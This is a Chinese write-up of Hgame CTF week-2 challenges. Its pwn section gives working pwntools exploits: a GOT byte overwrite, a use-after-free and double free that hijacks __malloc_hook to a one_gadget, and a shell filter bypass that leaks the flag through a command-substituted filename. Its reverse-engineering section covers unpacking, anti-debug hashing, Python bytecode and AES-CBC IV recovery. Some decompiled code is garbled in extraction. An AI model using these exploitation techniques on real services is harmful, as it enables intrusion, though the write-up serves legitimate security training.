记一次春节CTF实战练习(REPWN)
记一次春节CTF实战练习(REPWN)
原创 Nepents 合天智汇
这是Hgame_CTF第二周的题目,一共有四周。相对来说,比第一周难(HgameCTF(week1)-RE,PWN题解析)。这次的有一道逆向考点也挺有意思,得深入了解AES的CBC加密模式才能解题。还有一道pwn虽然能getshell,但是程序关闭了回显,并不能获取flag。队友提供了一种比较骚的思路才解开。
##pwn
###Another_Heaven
该题目存在一个后门
*(_DWORD *)v5 = readi(); // 可以写入一个地址 read(0, (void *)*(signed int *)v5, 1uLL);这两行代码意思是 可以自己输入一个地址,然后可以改变该地址里边的一个数值。另外没有发现其他的漏洞。
再看cspw函数
__int64 cpswd() { int i; // [rsp+Ch] [rbp-14h] puts("Input new password:"); read_n((__int64)buf, 48); printf("Processing.", 48LL); for ( i = 0; i strlen(buf); ++i ) {if ( !strncpy((char *)(i + 0x602160LL), exit(0);}putchar('.');usleep(10000u); } puts("Done!"); return 0LL;}可以覆盖flag,那么strncpy第一个参数就是读取的flag,其实strncpy和puts函数地址只相差了一位,那么可以通过改变这一位来使得strncpy变成puts函数输出flag。
#!/usr/bin/python #coding:utf-8 from pwn import * from time import * from LibcSearcher import * context.log_level="debug" REMOTE_LIBC = "./db/libc6_2.24-9ubuntu2.2_amd64.so"io = remote('172.17.0.2',10001) #elf = ELF(EXEC_FILE) #libc = ELF(REMOTE_LIBC) io.recv() raw_input() io.sendline(str(0x0602020))#修改strncpy io.send('\xE6') io.recvuntil(':') io.sendline("E99p1ant") io.recvuntil(":") io.sendline('a') io.recvuntil('(y/n)') io.sendline('y') io.recvuntil('?') io.sendline('Alice·Synthesis·Thirty') io.recvuntil(":") io.sendline('a') print io.recv() io.interactive()###Roc826s_Note
题目没有edit函数,但是delete函数存在uaf漏洞,给了libc,可以先释放unsorted bin求出libc基地址,然后通过double free来修改malloc hook跳转到one_gadget。
#!/usr/bin/python #coding:utf-8 from pwn import * from time import * from LibcSearcher import * context.log_level="debug" #EXEC_FILE = "./ROP_LEV" REMOTE_LIBC = "./libc-2.23.so" #main_offset = 3951392 io = remote('47.103.214.163',21002) #io = process('./Roc826') #elf = ELF(EXEC_FILE) libc = ELF(REMOTE_LIBC)def add(size,content): io.sendlineafter(':','1') io.sendlineafter('?',str(size)) io.sendlineafter(':',content)def show(idx): io.sendlineafter(':','3') io.sendlineafter('?',str(idx)) def delete(idx): io.sendlineafter(':','2') io.sendlineafter('?',str(idx))add(0x89,'a')#0 add(0x10,'b')#1 delete(0) show(0) io.recvuntil('content:') unsorted_bin = u64(io.recvn(6).ljust(8,'\x00')) - 88 print hex(unsorted_bin) libc_addr = unsorted_bin - 3951392 print hex(libc_addr) __malloc_hook = libc_addr + libc.sym['__malloc_hook'] add(0x68,'c')#2 add(0x68,'d')#3 add(0x68,'e')#4 delete(2) delete(3) delete(2) add(0x68,p64(__malloc_hook-35)*2)#5 add(0x68,'f')#6 add(0x68,'g') add(0x68,19*'\x00'+p64(libc_addr+0xf1147)) io.sendlineafter(':','1') io.sendlineafter('?',str(0x68))io.interactive()###findyourself
题目考察过滤,有两个check函数,如果通过check函数就会执行system
signed __int64 __fastcall check1(const char *a1) { signed __int64 result; // rax int i; // [rsp+1Ch] [rbp-14h] for ( i = 0; i strlen(a1); ++i ) { if ( (a1[i] = 96 || a1[i] > 122) = 64 || a1[i] > 90) } if ( strstr(a1, "sh") || strstr(a1, "cat") || strstr(a1, "flag") || strstr(a1, "pwd") || strstr(a1, "export") ) result = 0xFFFFFFFFLL; else result = 0LL; return result; } signed __int64 __fastcall check2(const char *a1) { signed __int64 result; // rax if ( strchr(a1, 42) || strstr(a1, "sh")|| strstr(a1, "cat")|| strstr(a1, "..")|| strchr(a1, 38)|| strchr(a1, 124)|| strchr(a1, 62)|| strchr(a1, 60) ) {result = 0xFFFFFFFFLL; } else {result = 0LL; } return result;}原本是绕过了第一个check,想通过第二个check得到终端。exp如下
#!/usr/bin/python #coding:utf-8 from pwn import * from time import * from LibcSearcher import * context.log_level="debug" #EXEC_FILE = "./ROP_LEV" REMOTE_LIBC = "./db/libc6_2.24-9ubuntu2.2_amd64.so"io = remote('47.103.214.163',21000) #elf = ELF(EXEC_FILE) #libc = ELF(REMOTE_LIBC) io.recvuntil('yourself') io.sendline('ls -l /proc/self/cwd') sleep(0.1) io.recvuntil('-> ') chdir = io.recvn(15) io.recv()io.sendline(chdir) sleep(0.1) raw_input() io.sendline('ltotal 4004') io.interactive()但是该题目在执行第二个system之前close(1),所以没有回显。后来队内的师傅想到了把 flag 里面的内容当成新建文件的名字然后就能"ls -l"读出来。getshell之后虽然没有回显,但是输入命令可以执行。先执行
cat /flag>/tmp/`cat /flag`使用flag当作文件名创建一个文件。然后ls -l /tmp输出flag
##RE
###unpack
题目加有类似upx的壳,或许用esp定律可以脱,但是是elf程序,最后凭经验追到OEP。
追到下边代码的时候就能感觉到已经进入OEP了
LOAD:0000000000400890 loc_400890: LOAD:0000000000400890 xor ebp, ebp LOAD:0000000000400892 mov r9, rdx LOAD:0000000000400895 pop rsi LOAD:0000000000400896 mov rdx, rsp LOAD:0000000000400899 and rsp, 0FFFFFFFFFFFFFFF0h LOAD:000000000040089D push rax LOAD:000000000040089E push rsp LOAD:000000000040089F mov r8, 4017A0h LOAD:00000000004008A6 mov rcx, 401710h LOAD:00000000004008AD mov rdi, offset sub_4009AE LOAD:00000000004008B4 call loc_401250 LOAD:00000000004008B9 hlt很容易就能看到flag处理函数
__int64 sub_4009AE() { __int64 result; // rax signed int v1; // [rsp+8h] [rbp-48h] signed int i; // [rsp+Ch] [rbp-44h] char v3[56]; // [rsp+10h] [rbp-40h] unsigned __int64 v4; // [rsp+48h] [rbp-8h] v4 = __readfsqword(0x28u); sub_40F570((__int64) v1 = 0; for ( i = 0; i = 41; ++i ) { if ( i + v3[i] != (unsigned __int8)unk_6CA0A0[i] ) v1 = 1; } if ( v1 == 1 ) sub_40FE40( else sub_40FE40( result = 0LL; if ( __readfsqword(0x28u) != v4 ) sub_443040(); return result; }exp
q = "6868637069805B7578496D76757B756E4184716544824A858C827D7A824D907E92549888969857958FA6" flag = [] for i in range(0,len(q),2): flag.append(int(q[i:i+2],16)) flags = "" for i in range(len(flag)): flags+=chr(flag[i]-i) print flags###bbbbbb
该题目挺有意思的,首先输入flag。
do { LOBYTE(v64) = '_'; v66 = sub_7FF6A2974B70( sub_7FF6A2974D90( sub_7FF6A2974AE0( v67 = (const char *)sub_7FF6A2974A10( *((_DWORD *) sub_7FF6A2974150( ++v65; } while ( v65 4 );上边代码的意思是按下划线切割flag,分割成四个数字。也就是说,输入flag格式为aaa bbb ccc ddd
然后经过
v68 = GetCurrentProcess(); v69 = GetModuleHandleW(0i64); *(_OWORD *)modinfo = 0ui64; *(_QWORD *) K32GetModuleInformation(v68, v69, (LPMODULEINFO)modinfo, 0x18u); v92 = 0ui64; // 并没有覆盖到 v93 = 0ui64; v94 = 0; sub_7FF6A2971010( v70 = (char *)(*(_QWORD *)modinfo + 0x1000i64); if ( *(_QWORD *)modinfo + 0x1000i64 (unsigned __int64)(*(_QWORD *)modinfo + 20480i64) ) { do { sub_7FF6A2971090((__int64) memset( v102 = 0x100010; v71 = GetCurrentThread(); GetThreadContext(v71, (LPCONTEXT) sub_7FF6A2971090((__int64) v70 += 0x1000;}while ( (unsigned __int64)v70 *(_QWORD *)modinfo + 0x5000i64 ); } sub_7FF6A29711C0( v72 = _mm_xor_si128(_mm_loadu_si128((const __m128i *) _mm_storeu_si128((__m128i *)先看sub_7FF6A2971010函数,里边初始化赋值,明显是sha类的哈希函数。
signed __int64 __fastcall sub_7FF6A2971010(__int64 a1) { signed __int64 result; // rax *(_QWORD *)(a1 + 32) = 0i64; *(_QWORD *)(a1 + 40) = 0i64; *(_QWORD *)(a1 + 48) = 0i64; *(_QWORD *)(a1 + 56) = 0i64; *(_QWORD *)(a1 + 64) = 0i64; *(_QWORD *)(a1 + 72) = 0i64; *(_QWORD *)(a1 + 80) = 0i64; *(_QWORD *)(a1 + 88) = 0i64; *(_QWORD *)(a1 + 96) = 0i64; *(_DWORD *)(a1 + 104) = 0; result = 1i64; *(_DWORD *)a1 = 1779033703; *(_DWORD *)(a1 + 4) = -1150833019; *(_DWORD *)(a1 + 8) = 1013904242; *(_DWORD *)(a1 + 12) = -1521486534; *(_DWORD *)(a1 + 16) = 1359893119; *(_DWORD *)(a1 + 20) = -1694144372; *(_DWORD *)(a1 + 24) = 528734635; *(_DWORD *)(a1 + 28) = 1541459225; *(_DWORD *)(a1 + 108) = 32; return result;}然后通过K32GetModuleInformation函数获取到模块信息进行加密,也就是获取地址为0x7FF6A2971000-0x7FF6A2975000之间的数据进行加密,每次获取0x1000个字节,这里边刚好包含了主要函数。这个主要用于反调试,防止别人修改代码和下普通断点,其实尝试着在这之间下不同断点会发现每次得到的哈希值都不一样。然后通过GetThreadContext函数获取线程上下文,得到的数据进行加密,印象中这个函数可以用于防止下硬件断点。在这种情况下,我们可以在exit函数下断点,因为exit函数位于加密地址之外,不会影响正确的哈希值,主要捕捉到里边生成的正确的哈希值就行。
然后通过CE来扫描数据,调试发现,正确的哈希值位于我们输入的flag下一行。比如我们输入
123_456_789_111那我们可以搜索 7B 00 00 00 C8 01 00 00 15 03 00 00 6F 00 00 00 通过CE搜索可以得到哈希值
那么可以得到0x932877ad 0x4da107ea 0xc767e46b 0x5a857214,还要注意程序使用atoi转换的数字,0x932877ad和0xc767e46b输入之后会变成负数,这个得注意一下。最后输入
1302398954_-1826064467_1518694932_-949492629得到flag:
hgame{1302398954_2468902829_1518694932_3345474667}
###babyPy
题目直接给出pyc的opcode
In [1]: from secret import flag, encrypt In [2]: encrypt(flag) Out[2]: '7d037d045717722d62114e6a5b044f2c184c3f44214c2d4a22' In [3]: import dis In [4]: dis.dis(encrypt) 4 0 LOAD_FAST0 (OOo) 2 LOAD_CONST 0 (None) 4 LOAD_CONST 0 (None) 6 LOAD_CONST 1 (-1) 8 BUILD_SLICE 3 10 BINARY_SUBSCR 12 STORE_FAST 1 (O0O) 5 14 LOAD_GLOBAL 0 (list) 16 LOAD_FAST1 (O0O) 18 CALL_FUNCTION1 20 STORE_FAST 2 (O0o) 6 22 SETUP_LOOP 50 (to 74) 24 LOAD_GLOBAL 1 (range) 26 LOAD_CONST 2 (1) 28 LOAD_GLOBAL 2 (len) 30 LOAD_FAST2 (O0o) 32 CALL_FUNCTION1 34 CALL_FUNCTION2 36 GET_ITER >> 38 FOR_ITER32 (to 72) 40 STORE_FAST 3 (O0) 7 42 LOAD_FAST2 (O0o) 44 LOAD_FAST3 (O0) 46 LOAD_CONST 2 (1) 48 BINARY_SUBTRACT 50 BINARY_SUBSCR 52 LOAD_FAST2 (O0o) 54 LOAD_FAST3 (O0) 56 BINARY_SUBSCR 58 BINARY_XOR 60 STORE_FAST 4 (Oo) 8 62 LOAD_FAST4 (Oo) 64 LOAD_FAST2 (O0o) 66 LOAD_FAST3 (O0) 68 STORE_SUBSCR 70 JUMP_ABSOLUTE 38>> 72 POP_BLOCK 9 >> 74 LOAD_GLOBAL 3 (bytes) 76 LOAD_FAST2 (O0o) 78 CALL_FUNCTION1 80 STORE_FAST 5 (O) 10 82 LOAD_FAST5 (O) 84 LOAD_METHOD 4 (hex) 86 CALL_METHOD 0 88 RETURN_VALUEIn [5]: exit()需要注意
BINARY_SUBTRACT 为相减,BINARY_SUBSCR 取值可以还原
flag = "sfesefsfhthfyhjjus" O0o = list(flag) out_flag = "" for i in range(1,len(O0o)): O0 = i Oo = ord(O0o[O0-1])^ord(O0o[O0]) O0o [O0] = Oo写出exp
q = "7d037d045717722d62114e6a5b044f2c184c3f44214c2d4a22" flag = [] for i in range(0,len(q),2): flag.append(int(q[i:i+2],16)) print flag flags = "" flag = flag[::-1] for i in range(len(flag)-1): flag[i] = flag[i+1]^flag[i] flags += chr(flag[i]) flags += chr(0x7d) print flags###classic_CrackMe
.net程序
string text = this.textBox1.Text; if (text.Length != 46 || text.IndexOf("hgame{") != 0 || text.IndexOf("}") != 45) { MessageBox.Show("Illegal format"); return; } string base64iv = text.Substring(6, 24); string str = text.Substring(30, 15); try { Aes aes3 = new Aes("SGc0bTNfMm8yMF9XZWVLMg==", base64iv); Aes aes2 = new Aes("SGc0bTNfMm8yMF9XZWVLMg==", "MFB1T2g5SWxYMDU0SWN0cw=="); string text2 = aes3.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I=="); if (text2.Equals("Same_ciphertext_")) { byte[] array = new byte[16]; Array.Copy(aes2.EncryptToByte(text2 + str), 16, array, 0, 16); if (Convert.ToBase64String(array).Equals("dJntSWSPWbWocAq4yjBP5Q==")) { MessageBox.Show("注册成功!"); this.Text = "已激活,欢迎使用!"; this.status = 1; } else { MessageBox.Show("注册失败!\nhint: " + aes2.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I=")); } } else { MessageBox.Show("注册失败!\nhint: " + aes2.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I=")); } } catch { MessageBox.Show("注册失败!"); } }输入的flag分成两部分,前部分当成iv。用已知的iv('MFB1T2g5SWxYMDU0SWN0cw==')去解密的话会得到Learn principles,不符合要求,显然这是要学习原理,求出iv。
明文,密文,密钥,我们都知道,不同的iv得到的不同明文我们也知道。通过原理可知 IV 和 DecChiperText 和 plainText 是 xor 关系。
解密时:用 key 去解密 chiperText 再和 IV 异或就能得到 plainText
plainText = ( Decrypt(chiperText, key) ) ^ IV上面的公式 分成两步:
1.DecChiperText = Decrypt(chiperText, key) //使用 key 去解密 chiperText
2.plainText = tmp ^ IV //这样的话, 就算 iv 是错的 也不会影响到 Decrypt(chiperText, key)
已知:
key = "Hg4m3_2o20_WeeK2" plainText = "Same_ciphertext_" chiperText = "\x9a7Q\xa8~\x1d\xd4\xef'mF\t\x93\xec\x15\xbbp\x1e\x13\xb6m\x13\xda\xedO\xff\x01\x03\xc2|\xf7\xb2"再构造一个 假 IV 去解密,变成:
fakeIV = "aaaaaaaaaaaaaaaa" key = "Hg4m3_2o20_WeeK2" plainText = "Same_ciphertext_" chiperText = "\x9a7Q\xa8~\x1d\xd4\xef'mF\t\x93\xec\x15\xbbp\x1e\x13\xb6m\x13\xda\xedO\xff\x01\x03\xc2|\xf7\xb2" fakePlainText = ( Decrypt(chiperText, key) ) ^ fakeIV plainText = fakePlainText ^ fakeIV因为得到的结果 fakePlainText 是异或过 fakeIV 的,我们只要 再次异或 fakeIV 就能得到公式上面第一步得到的结果 DecChiperText。DecChiperText 和 IV 和 plainText 是 xor 关系现在已知 DecChiperText 和 plainText 就能求出 真正的 IV
IV = DecChiperText ^ plainText可以写python代码
from Crypto.Cipher import AES import base64 key = base64.b64decode("SGc0bTNfMm8yMF9XZWVLMg==") fakeIV = "aaaaaaaaaaaaaaaa" plainText = "Same_ciphertext_" chiperText = base64.b64decode("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I=") mode = AES.MODE_CBC aesCipher = AES.new(key, mode, fakeIV) fakePlainText = aesCipher.decrypt(chiperText) #print fakePlainText IV = '' for i in range(16): IV += chr(ord(fakePlainText[i]) ^ ord(fakeIV[i]) ^ ord(plainText[i])) print "IV : " + IV #IV : /TyXYzPnY;$)\we_求得IV为/TyXYzPnY;$)\we_ 经过base64加密后为L1R5WFl6UG5ZOyQpXHdlXw==
然后使用text2和后半部分flag拼接加密,加密后的密文最后24位必须为"dJntSWSPWbWocAq4yjBP5Q=="。text2位16位,刚好填充满,通过原理可知,密文前面16位不变。那么可以先让text2单独加密,得到密文的16进制,然后同"dJntSWSPWbWocAq4yjBP5Q=="的16进制形式拼接在一起,经过base64加密,得到密文"xlKKQA5RPpyyA1YBjDeL5HSZ7Ulkj1m1qHAKuMowT+U"。直接解密得到后半flag。
(完)
如果想更多系统的学习CTF,可点击“CTF从入门到实践-CTF一站式学习平台-合天网安实验室
”,进入CTF实验室学习,里面涵盖了6个题目类型系统的学习路径和实操环境。
声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!